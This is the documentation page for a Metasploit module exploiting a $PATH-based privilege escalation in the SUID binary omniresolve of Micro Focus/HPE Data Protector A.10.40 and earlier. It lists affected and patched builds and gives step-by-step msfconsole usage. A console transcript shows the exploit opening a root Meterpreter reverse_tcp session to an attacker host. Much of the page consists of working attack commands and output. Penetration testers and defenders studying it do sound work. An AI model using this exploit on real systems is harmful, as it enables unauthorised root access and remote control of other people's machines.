## Description

  This module exploits the trusted `$PATH` environment
  variable of the SUID binary `omniresolve` in
  Micro Focus (HPE) Data Protector A.10.40 and prior.

  The `omniresolve` executable calls the `oracleasm` binary using
  a relative path and the trusted `$PATH`, which allows an attacker
  to execute a custom binary with `root` privileges.


## Vulnerable Application

  This module has been successfully tested on:

  * HPE Data Protector A.09.07: OMNIRESOLVE, internal build 110
  * Micro Focus Data Protector A.10.40: OMNIRESOLVE, internal build 118 on CentOS Linux release 7.6.1810 (Core)

  The vulnerability has been patched in:
  * Micro Focus Data Protector A.10.40: OMNIRESOLVE, internal build 125


## Verification Steps

  1. Start `msfconsole`
  2. Get a session
  3. `use exploit/linux/local/omniresolve_suid_priv_esc`
  4. `set SESSION [SESSION]`
  5. `check`
  6. `run`
  7. You should get a new *root* session


## Options

### SUID_PATH

  Path to `omniresolve` executable (default: `/opt/omni/lbin/omniresolve`)

### WritableDir

  A writable directory file system path. (default: `/tmp`)


## Scenario

### DP 10.40 build 118 on CentOS Linux release 7.6.1810 (Core)

  ```
  msf > use exploit/linux/local/omniresolve_suid_priv_esc
  msf exploit(linux/local/omniresolve_suid_priv_esc) > set session 1
  session => 1
  msf exploit(linux/local/omniresolve_suid_priv_esc) > check
  [+] The target is vulnerable.
  msf exploit(linux/local/omniresolve_suid_priv_esc) > set payload linux/x64/meterpreter/reverse_tcp 
  payload => linux/x64/meterpreter/reverse_tcp
  msf exploit(linux/local/komniresolve_suid_priv_esc) > set lhost 192.168.0.113
  lhost => 192.168.0.113
  msf exploit(linux/local/omniresolve_suid_priv_esc) > run
  
  [*] Started reverse TCP handler on 192.168.0.113:4444 
  [*] Sending stage (3021284 bytes) to 192.168.0.107
  [*] Meterpreter session 2 opened (192.168.0.113:4444 -> 192.168.0.107:54510) at 2019-10-01 13:19:45 -0400
  [+] Deleted /tmp/oracleasm
  [+] Deleted /tmp/gprjmiMGOr
  
  meterpreter > getuid
  Server username: uid=0, gid=0, euid=0, egid=0
  meterpreter > sysinfo
  Computer     : 192.168.0.107
  OS           : CentOS 7.6.1810 (Linux 3.10.0-957.21.2.el7.x86_64)
  Architecture : x64
  BuildTuple   : x86_64-linux-musl
  Meterpreter  : x64/linux
  meterpreter > 
  ```
